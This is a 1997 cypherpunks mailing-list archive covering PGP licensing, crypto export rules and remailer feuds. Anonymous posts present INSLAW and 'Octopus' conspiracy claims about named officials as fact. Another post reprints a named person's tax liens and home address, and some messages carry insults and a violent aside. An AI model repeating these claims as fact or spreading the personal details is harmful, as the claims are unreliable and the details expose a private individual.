Subject: A phone jack for your web site
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



Dear cypherpunks@toad.com,

Announcing a new service for web pages from PhoneMeNow.  PhoneMeNow service provides 
your web site with instant connections to the public telephone network.  

Instantly connect your sales, customer service or other departments to browsers of 
your web site with the simple click of a button on your web site through
the public telephone network with PhoneMeNow service.

PhoneMeNow also offers virtual office, fax and find me services.

Visit our web site at www.phonemenow.com for further information about our
exciting new service designed to connect your web site to your customers. 

You may try out our service for FREE by visiting http://www.phonemenow.com.

http://www.phonemenow.com
news@phonemenow.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 18 Nov 1997 20:17:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGPsdk is now free for non-commercial use
Message-ID: <abb1add8bd15a907a1704e6641aa7854@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart writes:

> I'm pleased to see PGP Inc. permitting development of freeware,
> but at leased from a first reading of the license, 
> it's a _really_ restrictive definition of "freeware" - 
> not only does the software have to be free, but it can only be used 
> in extremely restrictively non-commercial activities.
> It's far more restrictive than RSAREF (though more precisely defined.)
> Here's an excerpt from the web page at
>         http://www.pgp.com/sdk/sdklicencefree.html
>         For purposes hereof, the term "non-commercial" shall mean that
>         the application 
>         (a) has been distributed or otherwise made available at no charge 
>         (direct or indirect) and 
>         (b) is not used for any commercial purpose, which includes, 
>         but is not limited to, any activity engaged for the purpose 
>         of generating revenues (directly or indirectly). 
>         For example, a commercial purpose includes the use of the 
>         application within a commercial business or facility or 
>         the use of the product to provide a service, or in support 
>         of service, for which you charge. 
>         Commercial purpose also includes use by any government agency
>         or organization. 
>         Examples of non-commercial purposes include use 
>         at home for personal correspondence, 
>         use by students for academic activities, 
>         or use by human rights organizations. 
> 
> First of all, it sounds like it can only be used by students at
> non-government-run universities, but not at Berkeley, and if
> Random MIT Student develops PGPwidget using the toolkit,
> students at U.C.Berkeley can't use it for academic use either,
> except perhaps on their PCs at home (if they live off-campus.)
> (Do any of the UK universities count as non-government-run?)

You consider use by students at U.C.Berkeley to be use by a "government
agency or organization".  I don't think that is what is meant.  They mean
something like the NSA, or Congress, or the military.

It would be better if they explicitly explained how public schools
were to be dealt with.  My guess would be that instructors and staff
members would require a license, but that students could use it for free.
Probably the best thing to do is to send email to PGP and ask them to
issue a clarification.

> But "within a commercial business or facility" is far more 
> restrictive.  
> I use a laptop for my home and work email, and carry it around.
> It sounds like I can't use PGPwidget or PGPsdk for encrypting 
> personal email at lunchtime when my laptop is at the office,
> and perhaps not from a hotel (at least if I'm there on business)?

"Within" is probably meant in the organizational sense, not in terms of
physical inclusion.  The fundamental point is whether revenue generation
is involved.  Personal email does not generate revenue (arguably reading
your personal email at work interferes with generating revenue).

> I probably can't start PGPwidget at home and leave it running
> when I carry the laptop to work.  I probably can't use PGPwidget
> when I'm reading my work email at home, though perhaps it's ok
> to use it on personal mail that someone sent to my work MSExchange,
> assuming it's not a widget that competes with a PGP product.

You can't use it to do your work.  Your company should buy a copy in
that case.  Reading your work email counts as part of doing your work.

Mostly these seem like reasonable definitions of non-commercial use.
But you have identified some gray areas that should be fleshed out.

Xcalibur





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 18 Nov 1997 20:58:32 +0800
To: cypherpunks@cyberpass.net
Subject: obPoliticalIncorrect
Message-ID: <199711181252.HAA04463@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

BTW, did you hear about the blonde who walked into a bar with a headset
on? The bartender said, "Take them off, you can't wear those in here." She
replied that she couldn't whereupon the bartender ripped them off her. She
collapsed immediately and was dead by the time the Rescue Squad arrived.
This happened three days in a row with different blonds. Finally, the
bartender picked up the headphones and listened. He heard "Breathe In.
Breathe Out. Breathe IN. Breath Out."


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Tue, 18 Nov 1997 23:47:27 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Databasix conspiracy theories
Message-ID: <199711181511.HAA28132@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Andy Dustman <andy@neptune.chem.uga.edu> wrote:

> > The remailers themselves have become the victims of forgeries.  Back during
> > the DataBasix "reign of [t]error" directed at Jeff Burchell, the "DataBasix
> > cabal" (called that by a Netcom news admin, BTW) accused the Mailmasher
> > 'nymserver of being used for "forgery" of Gary Burnore's name and address
> > to various posts.  And now, even after the cajones.com domain has apparently
> > bitten the dust, I've seen complaints of spam being received by people that's
> > been forged to look as if it had come from that domain.  In the case of the
> > Burnore forgeries, the Path: was only traceable back to the mail2news gateway,
> > so the header items implicating Mailmasher could have easily been forged just
> > as Mr. Burnore's address was.  Nevertheless, these alleged "forgeries"
> > comprised the rationale used by a DataBasix employee, Billy McClatchie, for
> > demanding the Mailmasher be shut down.
>  
> I've never really been convinced that Databasix has much to do with the
> Huge Cajones fiasco. I'm not saying nobody from there is involved, though.
> I'm just trying to keep an objective opinion on the subject.

While I have no first-hand information on that, Jeff Burchell, operator of the
Huge Cajones Remailer, reported involvement of three DataBasix staff members:
Gary L. Burnore, Belinda Bryan, and William J. McClatchie (better known by the
pseodonym "Wotan").  McClatchie was also extensively involved in the public
campaign to get Mailmasher shut down.  Jeff's "post mortem" expose' on all
this can be viewed at the following URL:

  http://calvo.teleco.ulpgc.es/listas/cypherpunks-unedited@toad.com/HTML-1997-11/msg00536.html

While it's perhaps not the kind of evidence, being circumstancial in nature,
that you'd take to court, it could certainly useful in trying to anticipate
and avoid potential future attacks.  Of the parties involved in the 
conflict(s) that led up to the remailer attacks, Burnore/DataBasix was the 
only one who had a motive to attack the remailers.  Gary's alternative theory 
on who was responsible, Ron Guilmette, is much less plausible.  Gary, for 
example, has consistently displayed a very bigoted attitude towards those who 
choose to utilize anonymity to maintain their privacy.  He would often refer 
to anonymous posters as "anonymous assholes", "cowards", "hiding behind the 
skirts of a remailer", etc.  

Let's take that first phrase -- "anonymous assholes".  If a person were to 
be arguing with a black man, and called him an "asshole", that would be 
somewhat acceptable.  But if he called him a "black asshole" or a "ni**er
asshole", he would be revealing his innate bigotry and you'd rightly call him 
a RACIST, implying that a member of that race had no right to express a
dissenting opinion.  The same applies when an ad hominem attack targets a 
poster's anonymity.  IMO, that makes him an anti-privacy bigot.  While he's
now tried to clean up his act by claiming that "remailers have their place",
he's on record as saying that they shouldn't be used for "abuse" and he's
defined anonymous criticism as "abuse".  Going back to the racism analogy, that 
statement is equivalent to the old line "Me?  A racist?  Why some of my best 
friends are ______".

Also, Gary Burnore expressed the repeated desire that anonymous posts that
were critical of him were designed to "stir up trouble" and represented
"abuse" that the remailers should have blocked.  If the remailer operators
wouldn't censor the criticism in the MESSAGEs, then killing the MESSENGER
(the remailers) would accomplish the same thing.

Belinda Bryan and Billy McClatchie, two other DataBasix staff members, issued 
even more scathing attacks on the posters' choice of anonymity, and against 
the remailer.  Upon occasion, they both referred to the remailer as the "No 
Balls Remailer" and implied that the poster had "tiny testicles".  Although
Belinda and Billy's comments were cloaked with a "no archive" header, and
Gary Burnore has recently requested that his posts be removed from the 
DejaNews archives, the essence of their comments can still be followed via 
the portions of their posts which were quoted by others in posts that remain 
archived.
  
> > That's even more evidence that the real target of the spam baiter(s) was the
> > remailers themselves.  Why else would you "attack" people, then anonymously
> > warn them of what you'd done?  Perhaps that's why the spam baiting reportedly
> > was directed not only at the DataBasix gang, but also at their detractors,
> > such as Ron Guilmette, Scott Dentice, etc. 
>      
> That the primary target of the spam-baiting campaign was the remailer net
> (one at a time), I have little doubt.

Which leaves two alternatives: either one of the participants in the Gary 
Burnore/Ron Guilmette/Netcom flame war was responsible, or the timing was 
merely coincidental.
 
> > > (There was another set of letters going around claiming to
> > > be pro-remailer, but I was always skeptical that that was the true
> > > intention.)
> >
> > Sounds like a classic, "F.U.D." disinformation campaign like another
> > anti-privacy bunch, the Co$, would engage in.  What better way to discredit
> > remailers that to, for example, send out anonymous messages saying "Preserve
> > your rights -- defend remailers!" and making it look like the message came
> > from a member of the KKK, or NAMBLA, or some other unpopular group.
>  
> Yes, and that's how it appeared to me, as well. In fact, I really would 
> doubt any other possible scenario, mainly because much of the spam-baiting
> was done to IP addresses (same people, different hosts), so IP addresses
> were basically outlawed (if you have an IP address, you've got to have a
> FQDN, right?). That and people were apparently being sent many copies of
> the "warning" (to the same address). Also, the tone of the letter seemed
> counter to what it was supposedly intended to accomplish, i.e., "there's
> nothing you can do about it, so stop whining". OTOH, I did make a public 
> request for whoever it was doing it to stop, and they did seem to stop
> rather shortly after that, though spam-baiting continued.

Yes, the multiple copy thing was quite "ingenious", in an anti-remailer sort
of way.  They could either be viewed as a "friendly" warning about "abuse"
involving the remailers, or they could be viewed as abusive themselves.  But
since they, like the spam bait, were also sent through the remailers, the
remailer net was the visible target either way!

Several things didn't add up about the whole "spam baiting" thing.  While
Burnore claimed that he and other DataBasix users were the primary targets of
the spam bait, their addresses seemed to comprise only a small percentage of
the e-mail addresses I saw "baited".  My own test indicated that inclusion of
an e-mail address in the body of a Usenet post was ineffective in attracting
UCE.  And one of the most visible opponents of spam baiting, Peter Bell, said
pretty much the same thing.  He was apparently one of the original "spam bait"
targets, and would publish daily "reports" on which addresses were being
baited.  When the technique suddenly switched from individual messages with
addresses in the headers to the format where lists of addresses were instead
in the BODY of the message, he concluded, based on his observations, that the
new technique was ineffective and announced that he was discontinuing his
daily reports.

Despite this fact, the DataBasix folks continued to claim that they were
being inundated with e-mailed spam due to the ongoing spam baiting.  Of course, 
since the new technique involved e-mail addresses in the BODY of
the post, their suggested "solution" was to filter anonymous posts that
contained any mention of the e-mail addresses of DataBasix staff members.
Since such blockage was what they'd wanted all along, this new form of spam
baiting provided the ideal excuse for demanding that Usenet posts that
contained any reference to them be blocked.  Jeff Burchell's post indicated
that he originally acceded to this demand, but later admitted that it was
ill-advised and he discontinued it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Nov 1997 22:02:26 +0800
To: cypherpunks@toad.com
Subject: Re: Exporting crypto from Japan
In-Reply-To: <199711180715.IAA13188@basement.replay.com>
Message-ID: <Xc8cge17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <nobody@REPLAY.COM> writes:
> Adam doesn't get nearly the respect he deserves,

Adam Back gets LOTS of respect from me.  He's exremely kewl.

Since I obviously have a little more time right now than usual, I
wrote a prototype "Stalingrad" exploit last weekend (for Winsock -
a Unix version shouldn't be too far away).  Anyone wants to test it?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 18 Nov 1997 22:03:41 +0800
To: Jyri Kaljundi <jk@stallion.ee>
Subject: Re: export restictions and investments
In-Reply-To: <Pine.GSO.3.95.971118144118.21511I-100000@nebula>
Message-ID: <199711181351.IAA05510@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.971118144118.21511I-100000@nebula>, on 11/18/97 
   at 02:44 PM, Jyri Kaljundi <jk@stallion.ee> said:

>How do the US export restrictions affect investments into non-US crypto
>companies? Is it legal for US private persons or companies to invest
>money into companies developing strong crypto applications for example in
>Europe? 

>Since Sun bought the Russian Elvis+ company it seems to be Ok, just
>wanted to check if there are any other opinions. Does anyone know of any
>other non-US companies that have received US investments, or venture
>capital or whatever?

AFAIK there is no restrictions on US citizens investing in foreign
companies. The only restrictions that I know of deal with the exchange of
crypto technical information (IE a US company can not buy into a foreign
company and then ship their crypto through them.) All crypto sales done by
the foreign company must be developed independently of the US company.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=Jo0r
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Wed, 19 Nov 1997 00:03:47 +0800
To: cypherpunks@cyberpass.net
Subject: (No Subject)
Message-ID: <JCEANJBLMCKABAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I wonder if the courts would buy a "retroactive abortion" defense in
the case of the death of an oppressive official?
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Version: PGP for Business Security 5.5

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Version: PGP for Personal Privacy 5.0

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=+eSI
-----END PGP PUBLIC KEY BLOCK-----




Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 18 Nov 1997 16:08:59 +0800
To: cypherpunks@toad.com
Subject: I'm from the government, and I'm here to fuck you silly...
Message-ID: <199711180701.IAA11345@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



                        INSLAW SUMMARY
                         By Bill Hamilton


The following information has been given to each member of the House
Judicary Committee and was placed on the Internet in electronic form
by Bill Hamilton of Inslaw Corporation.  The complete document with
supporting details may be obtained from:
 
    Inslaw
    1125 15th Street, NW
    Washington, DC 20005-2707
    Telephone (202) 828-8638
...
     One of the organizational units that reports to Mark Richard is
the Office of Special Investigations (OSI).  OSI's publicly-declared
mission is to locate and deport Nazi war criminals. The Nazi war
criminal program is, however, a front for the Justice Department's
own covert intelligence service, according to disclosures recently
made to INSLAW by several senior Justice Department career officials.
 
     One undeclared mission of this covert intelligence service has
been the illegal dissemination of the proprietary version of PROMIS,
according to information from reliable sources with ties to the U.S.
intelligence community.  INSLAW has, moreover, obtained a copy of a
27-page Justice Department computer printout, labelled "Criminal
Division Vendor List." That list is actually a list of the commercial
organizations and individuals who serve as "cutouts" for this secret
Justice Department intelligence agency, according to intelligence
community informants and a preliminary analysis of the computerized
list.  A significant proportion of the 100-plus companies on the list
appear to be in the computer industry.  The Justice Department's
secret intelligence agency also has its own "proprietary" company
that employs scores of agents of diverse nationalities, as well as
individuals who appear to be regular employees of various departments
and agencies of the U.S. Government or members of the U.S. Armed
Forces, according to several sources.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 18 Nov 1997 15:24:23 +0800
To: cypherpunks@toad.com
Subject: Tentsicles
Message-ID: <199711180711.IAA12627@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



                 IS FOSTER KEY TO "THE OCTOPUS?"
                          Editorial

    When you start digging into the circumstances surrounding the
death  of  White  House aide Vince Foster, a number of names keep
popping up that have popped up in relation to a number  of  large
scandals of the last two decades.

    Starting with the "October Surprise,"  the  alleged  plot  to
delay the release of hostages from Iran to after the presidential
election in 1980 in an attempt to embarrass President Carter,  it
is  indeed  striking  that  the hostages were released just a few
hours after President Reagan was sworn in.  A number of witnesses
have testified to the involvement of Vice President Bush and Earl
Brian in this secret plot. These witnesses,  all  CIA  or  Mossad
assets,  have  received the "Terry Reed treatment": indictment on
false charges and  thorough  discrediting.  But  it  was  another
source, White House staffer Barbara Honegger, who wrote the first
"October Surprise" book in 1989.

    It was early in the Reagan administration  that  Earl  Brian,
Richard Secord and others used their influence and connections to
make money on selling the pirated  PROMIS  software  from  Inslaw
Inc.  Former  OSS  agent Jackson Stephens is alleged to have made
money on PROMIS as well through his Arkansas Systematics Inc.  It
was  there  that Vince Foster, as a partner of Hillary Clinton in
the Rose Law Firm and representing Systematics,  became  involved
with the Inslaw affair.

    A much  bigger  scandal  of  government  corruption  was  the
Savings  and  Loan  scandal  of  the  1980.  The federally backed
savings-and-loans were not only looted by  crooks  and  criminals
but  also  by well-connected politicians who needed an easy buck.
Neil Bush and Bill and Hillary Clinton are just a few examples.

    Apparently not content with the hundreds of billions in S & L
loot  from  the  taxpayer, corrupt government officials turned to
drugs. The CIA-sponsored Contra re-supply  network  was  used  to
ship  illegal  drugs of incredible volume into the United States.
CIA assets Terry Reed and  L.D.  Brown  implicate  Bill  Clinton,
George  Bush and Oliver North with this operation. A confidential
CIA document obtained  by  the  Washington  Weekly  supports  the
involvement  of  George  Bush by linking him to arms-dealer Adnan
Khashoggi, Richard Secord, and CIA asset John Hull,  whose  ranch
in  Costa  Rica  was  used  for  transshipment  of drugs and arms
through Mena, Arkansas and other U.S. destinations.

    Another of these scandals during the 1980s  was  the  illegal
penetration of the bank that the CIA preferred - the BCCI Bank of
Crooks  and  Criminals.  Politicians  across  the  spectrum   are
implicated  in  taking  bribes  to  allow  this bank to take over
American banks with  the  help  of  Jackson  Stephens  and  Vince
Foster.  No serious investigations have been launched by the Bush
and Clinton Justice Departments.


    Leaving aside for a moment the dispute over  whether  any  of
these  scandals  have  been proven, there is one remarkable facet
about the facts as they have been presented: some names appear in
several of these alleged scandals.

    Topping the list is George Bush, the  only  CIA  director  to
become  President  of  the  United  States.  It  is  difficult to
reconcile these serious allegations with the rather decent public
image   of   George  and  Barbara  Bush.  But  to  dismiss  these
allegations out of hand is to accept a conspiracy that includes a
large  number  of unrelated witnesses naming the same culprits in
different scandals.

    But it  should  also  be  said  that  participants  in  these
scandals  may  have thought they acted to defeat Communism, where
the end would justify every means. After all, that was the  prime
objective of the CIA during the Cold War.

    Are these  the  arms  of  the  octopus  that  reporter  Danny
Casolaro  referred  to just before he was found dead in his hotel
room in 1991? He  told  friends  he  was  tracing  a  network  of
government  corruption  involving  Inslaw,  BCCI, and the October
Surprise. Washington D.C. attorney Paul Wilcher was  tracing  the
same Octopus when he was found dead three days after Vince Foster
died.

    Think back to the 1992 elections for  a  moment.  Did  George
Bush  bring  up  any  of  the  scandals  that could have defeated
Clinton?  Did he mention  Whitewater,  Cattlegate,  Paula  Jones,
Gennifer  Flowers,  Mena?   Why  not?  Did  he know that it could
backfire seriously because of what Bill Clinton knew  about  him?
Did  Bill  Clinton take advantage of that in his unlikely bid for
the presidency?


    What, then, is this Octopus? It appears to be an  association
between  rogue elements of the CIA and certain elected officials.
An analysis of these structures  will  show  that  corruption  is
inevitable.  The CIA has a budget of $28 billion, it assassinates
people without being held accountable  in  a  court  of  law,  it
operates  in  secret,  it  has  almost unlimited power and is not
subject to any meaningful  oversight.  Only  saints  could  avoid
corruption and abuse of power in such an environment.

    Then what can we do about it? Limit the budget  of  the  CIA,
limit  its  role,  subject it to greater outside scrutiny, expose
past scandals and hold individuals responsible for their  crimes.
Three  presidents tried to do just that: John F. Kennedy, Richard
Nixon, and Jimmy Carter. None of them stayed in office for  long,
and none of them achieved their goal.





Copyright (c) 1995 The Washington Weekly (http://www.federal.com)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Nov 1997 21:26:01 +0800
To: Jyri Kaljundi <jk@stallion.ee>
Subject: ICC on E-Commerce
Message-ID: <1.5.4.32.19971118131310.00c4ca10@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jyri Kaljundi wrote:

>There were some reports released lately by the International Chamber of
>Commerce (http://www.iccwbo.org/) also. These were in connection with
>World Business Agenda for Electronic Commerce conference some days ago in
>Paris. Most of the materials seemed to be there on the web.

Yes, and good reports they are. We've mirrored one of them:

   "Guide to International Digitally Ensured Commerce":

   http://jya.com/guidec2.htm  (130K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 18 Nov 1997 16:16:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
Message-ID: <199711180715.IAA13188@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back writes:

> I am pleased that you are discussing with us crypto politics in
> Japan... we have few contributors from Japan in the past.

Yeah, surprising, isn't it, considering how open and welcoming the
cypherpunks have been to foreigners and minority races...

Actually Adam Back should be nominated for cypherpunk of the year.
Unlike a blowhard do-nothing like Timothy "Chop-chop" May (and now we know
what the C stands for, don't we?), Adam actually accomplishes things.
His 3-line RSA has dramatized the absurdity of the export controls like
nothing else.  He built a working prototype of an eternity server while
everybody else just talked about it.  He's been a leader in the fight to
oppose PGP GAKware.  He has strong political views but is not motivated
by hatred and fear.

Adam doesn't get nearly the respect he deserves, probably because he's
not much of a wordsmith.  Tim May's sophistry is good enough to pull
the wool over most people's eyes.  But look deeper and you'll see that
Adam's heart is pure.  That's worth far more than May's skill at artfully
wrapping his garbage.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Wed, 19 Nov 1997 00:42:51 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Ben slowly learns
In-Reply-To: <MOPAGGPJEBEOAAAA@mailexcite.com>
Message-ID: <3.0.3.32.19971118082605.031957d4@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713752.multipart/signed"

--Boundary..3986.1071713752.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 01:13 AM 11/18/97 -0800, Kent Crispin wrote:
>There are many circumstances that don't involve a circle of assholes
>with drawn weapons.  Perhaps you have a job that allows you to carry a
>gun; most don't.  Perhaps you drive with your weapon on your lap, and
>are always on the lookout for snipers; but I doubt it.  Maybe you have
>eyes in the back of your head, and can read people's minds, but I
>doubt that, too.  The cold fact is, Ben, if I wanted bad enough to
>kill you, you would almost certainly be dead, never knowing it
>happened.  That's not magic -- you could do the same to me, and if you
>gave 10 minutes thought you would realize this is so. 

Ummmm, when was the last time you were robbed or pistol-whipped by a
sniper?  IIRC, the original context was face to face encounters with
larcenous scum, modulo some gratuitous insults.  This is kind of a red
herring, Kent.

Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713752.multipart/signed
Content-Type: application/octet-stream; name="pgp00012.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00012.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5ISENBc0pGMGtYcXB3
M01FUUpzZ1FDY0QzOVpEUzgxZ1VFUjBwMmY1a0w5SHU4TUNvc0FvUElnClVs
QlJJZXhYcEd1OFVySkpKUHdoYmpxbwo9WXJJTwotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713752.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 18 Nov 1997 16:16:27 +0800
To: cypherpunks@toad.com
Subject: Re: [cpe:4577] Re: List Robustness
Message-ID: <199711180741.IAA16369@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> 
> Then there's the mirror at Ft. Meade :-)

  Now that you've told us, are you going to have to kill us?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 19 Nov 1997 04:55:34 +0800
To: JonWienk@ix.netcom.com
Subject: hotmail &c as exit remailers (Re: Databasix conspiracy theories)
In-Reply-To: <3.0.3.32.19971117175315.006a2520@popd.netcruiser>
Message-ID: <199711180916.JAA01136@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jonathan Wienke <JonWienk@ix.netcom.com> writes:
> [free mail by web accounts on mailexcite.com as remailers..]
> 
> Any shmuck can log on and input a fake name, address, and
> demographic data to create a new account at hotmail, mailexcite, or
> juno.  In this way, as existing remailers are harassed out of
> existence, new ones can be created on a daily or hourly basis.  It
> would probably be interesting to find out how much info these
> outfits collect (cookies, etc.) that could be definitively linked to
> a True Name.

A shortish while ago using these free email by web accounts as exit
remailers in the remailer net was discussed.  Someone enthused with
the practicality of the idea said "let's do it".  Ian Goldberg said
"OK" and did it, posting perl code to interface to them.

His code also automates the process of opening accounts on several of
these services, and even automates the process of grabbing a random
open web proxy address from a public list of them, and sending
outgoing mail via them so that the sending remailer hosts IP address
is not included in the headers.  (Several of the email by web things
include your IP address in the headers).

I think several of the remailers are using this setup.

If any remailers are thinking of throwing in the towel due to abuse,
I'd highly recommend switching to using Ian's script as the final hop
mail delivery agent.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 18 Nov 1997 22:49:24 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <137782560eda24a2e39eb7a805f94497@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



If anyone doubts Gary Burnore's vindictive nature and his disregard for the
privacy of others, read this message from him where he dug up an old tax
lien filed against one of his critics and broadcast it worldwide on Usenet in 
order to embarass him and intimidate him into silence about Gary Burnore and
his abusive tactics:

--- BEGIN INCLUDED MESSAGE ---

Subject: Re: Monkey-boys position
From: gburnore@netcom.com (Gary L. Burnore)
Date: Thu, 13 Feb 1997 02:01:14 GMT 
Message-ID: <gburnoreE5Iqy2.H8C@netcom.com>
Organization: the home office in Wazoo, NE
Newsgroups: news.admin.net-abuse.email,news.admin.net-abuse.misc,news.admin.net-abuse.usenet
References: <gburnoreE51xvo.2zK@netcom.com>
            <5doim6$32q$1@monkeys.com> <twficE5G4HL.Fp9@netcom.com>
            <wotanE5Gu0t.8Hv@netcom.com> <5drvl3$bvr$1@monkeys.com>
 
Ronald F. Guilmette (rfg@monkeys.com) wrote:
{ In article <wotanE5Gu0t.8Hv@netcom.com>,  <Wotan> wrote:
{ >In article <twficE5G4HL.Fp9@netcom.com>,
{ >Ty Fairchild <twfic@netcom.com> wrote while drinking:
{ >
{ >>Fortunately this thread will not be extended by any further follow from
{ >>monkeyboy.  His public pronouncement states his position.
{ >          
{ >Y'all mean bent over a post spreading his ass cheeks and yelling "Fuck
{ >me" to any passing entity?
 
{ Atta boy Wotan, my little BaBaBasicks bean brain.  Jump in again any time.
 
What say each time you slam DataBasix for no reason, we post some
publicly available information about monkeys.com.  HEre's the first try:
 
 
+ 
+Filing Number:          90226822 
+Document Type:      STATE TAX
+Filing Date:               04/30/90
+Amount:                    $157,705
+Debtor:                      GUILMETTE, RONALD F, <ssn deleted>
+                                   550 PAULARINO AV, COSTA MESA, CA
+Court/County:           ORANGE REC, ORANGE, CA
+Certificate:                90114005621 
+Tax Authority:           FRANCHISE TAX BOARD
+Release Number:     90431912
+Release Date:          08/15/90
+
+Filing Number:          336573L
+Document Type:      STATE TAX
+Filing Date:               04/27/90
+Amount:                    $157,705
+Debtor:                      GUILMETTE, RONALD F, <ssn deleted>
+                                   550 PAULARINO AV, COSTA MESA, CA
+Court/County:           SANTA CLARA REC, SANTA CLARA, CA
+Certificate:                90114005622
+Tax Authority:           FRANCHISE TAX BOARD
+Release Number:    4451377L
+Release Date:         08/10/90
+
 
 
More where this came from. Yu wanna keep slamming DataBasix for no good
reason?
 
--
gburnore@databasix.com                       mailto:gburnore@databasix.com
---------------------------------------------------------------------------
                    What's another word for Thesaurus?
---------------------------------------------------------------------------
Gary L. Burnore                       |  ][3:]3^3:]3][3:]3^3:]3]3^3:]3]][3  
DataBasix                             |  ][3:]3^3:]3][3:]3^3:]3]3^3:]3]][3
San Francisco, CA                     |  ][3:]3^3:]3][3:]3^3:]3]3^3:]3]][3
                                      |  ][3 3 4 1 4 2  ]3^3 6 9 0 6 9 ][3
http://www.databasix.com              |     Official Proof of Purchase
===========================================================================

--- END INCLUDED MESSAGE ---

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 19 Nov 1997 05:04:15 +0800
To: cypherpunks@toad.com
Subject: I-D ACTION:draft-ietf-openpgp-formats-00.txt
